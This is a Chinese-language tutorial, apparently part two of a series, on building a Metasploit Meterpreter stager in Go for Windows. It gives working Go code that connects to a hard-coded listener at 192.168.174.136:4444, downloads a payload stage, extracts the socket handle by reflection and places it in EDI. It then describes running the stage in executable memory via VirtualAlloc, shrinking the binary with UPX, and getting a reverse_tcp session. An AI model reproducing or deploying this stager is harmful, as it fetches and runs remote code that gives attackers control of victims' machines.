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No.1
前言
上一篇文章 msf stagers开发不完全指北(一)中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang 实现同样的功能
No.2
思路梳理
在 Golang 中一点比较重要的是,我们如何能够获取到 socket 的文件描述符,除此之外,我们还是同样的步骤
1.向 msf 监听地址发起 tcp 请求
2.获取 stages
3.将 socket fd 放入寄存器 edi
4.从起始地址开始执行 stages
No.3
编译环境
OS: Windows 10
Golang: go version go1.14.1 windows/amd64
No.4
获取stages
socket, err := net.Dial("tcp", "192.168.174.136:4444")if err != nil {
return err
}
// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)if err != nil {return err}
if numOfBytes != 4 {
return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))
// read payloadvar payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)numOfBytes, err = io.ReadFull(socket, payload)if err != nil { return err
}
if numOfBytes != payloadSize {
return errors.New("Number of payload bytes does not match payload size! "
)
}
这里有几点我们需要注意的地方,第一是读取stages长度是需要使用 binary 库把它转化为 int32,你可以理解为 python 中的 struct 库,第二个是我们惯用的从 socket 连接读取数据使用的是 Read,但是并不能读全,和网络有关系,需要使用 ReadFull 或者 ReadAtLeast 进行读取。读取到 stages 后,我们可以进行下一步操作了。
No.5
socket fd放入edi
conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))
buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff
这部分代码就是我上面所说的难点了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一个接口 type Conn interface ,我们需要找到他的真实类型,继续往里面跟我们会发现他的真实类型是 *net.TCPConn,为什么要做这一步?
我们先看看这个结构体
我们其实需要的是里面的文件描述符,我们再往里跟一下
// Network file descriptor.
type netFD struct {
pfd poll.FD
// immutable until Close
family int
sotype int
isConnected bool // handshake completed or use of association with peer
net string
laddr Addr
raddr Addr
}
// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.type FD struct {
// Lock sysfd and serialize access to Read and Write methods.
fdmu fdMutex
// System file descriptor. Immutable until Close.
Sysfd syscall.Handle
// Read operation.
rop operation
// Write operation.
wop operation
// I/O poller.
pd pollDesc
// Used to implement pread/pwrite.
l sync.Mutex
// For console I/O.
lastbits []byte
// first few bytes of the last incomplete rune in last write
readuint16 []uint16
// buffer to hold uint16s obtained with ReadConsole
readbyte []byte
// buffer to hold decoding of readuint16 from utf16 to utf8
readbyteOffset int
// readbyte[readOffset:] is yet to be consumed with file.Read
// Semaphore signaled when file is closed.
csema uint32
skipSyncNotif bool
// Whether this is a streaming descriptor, as opposed to a
// packet-based descriptor like a UDP socket.
IsStream bool
// Whether a zero byte read indicates EOF. This is false for a
// message based socket connection.
ZeroReadIsEOF bool
// Whether this is a file rather than a network socket.
isFile bool
// The kind of this file.
kind fileKind
}
可以看到 Sysfd 是文件描述符,也就是我们想要的,我们需要取一下,这里因为 Golang 里面小写开头的字段是不导出的,我们需要使用反射取一下
注意:可能因为 Golang 版本不一致,这个结构有所更改,请自行考证一下,主要原因是非导出字段,官方是不保证向下兼容性的
所以获取文件描述符的代码就是
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))
文件描述符是 handle 所指向的值,这里需要注意一下
然后后面的还是我们之前的操作,使用 binary 包把 uint32 转为 4bytes 数组
然后我们需要把 socket fd 放入 edi
payload = append(append([]byte{0xBF}, socketFD...), payload...)
把 mov edi, xxxx 放到了 stages 头部
No.6
stages执行
一切的准备工作都做完了,下面就是开始准备执行了,类似执行 shellcode 的方式,这里的实现方式
八仙过海各显神通了,我这里只给我我这里的实现方式
这里的一串奇奇怪怪的字符可以不用加,只是为了遵守 plan9 汇编的调用约定,一些 push 保存堆栈现场和 pop 还原
然后就是先通过申请 VirtualAlloc 一块可读可写可执行的内存,然后使用 RtlCopyMemory 把 stages 字节码拷贝进去,然后开始跑。
这里的 windows api 使用的声明如下
这里其实你也可以使用 x/windows 库方便使用。
No.7
结果展示
64位编译出来 1.73M,通过 upx 压缩后 616kb,32位编译出来会更小
执行试试
监听 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上线
No.8
注意事项
可能因为 Golang 版本不一致,这个结构有所更改,请自行考证一下,主要原因是非导出字段,官方是不保证向下兼容性的
依然需要注意位数的差异,比如32位的payload请使用32位编译,64位payload使用64位编译
No.9
成功源码
成果源码我就不贴出来了,其实也是这些代码组合在一起
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END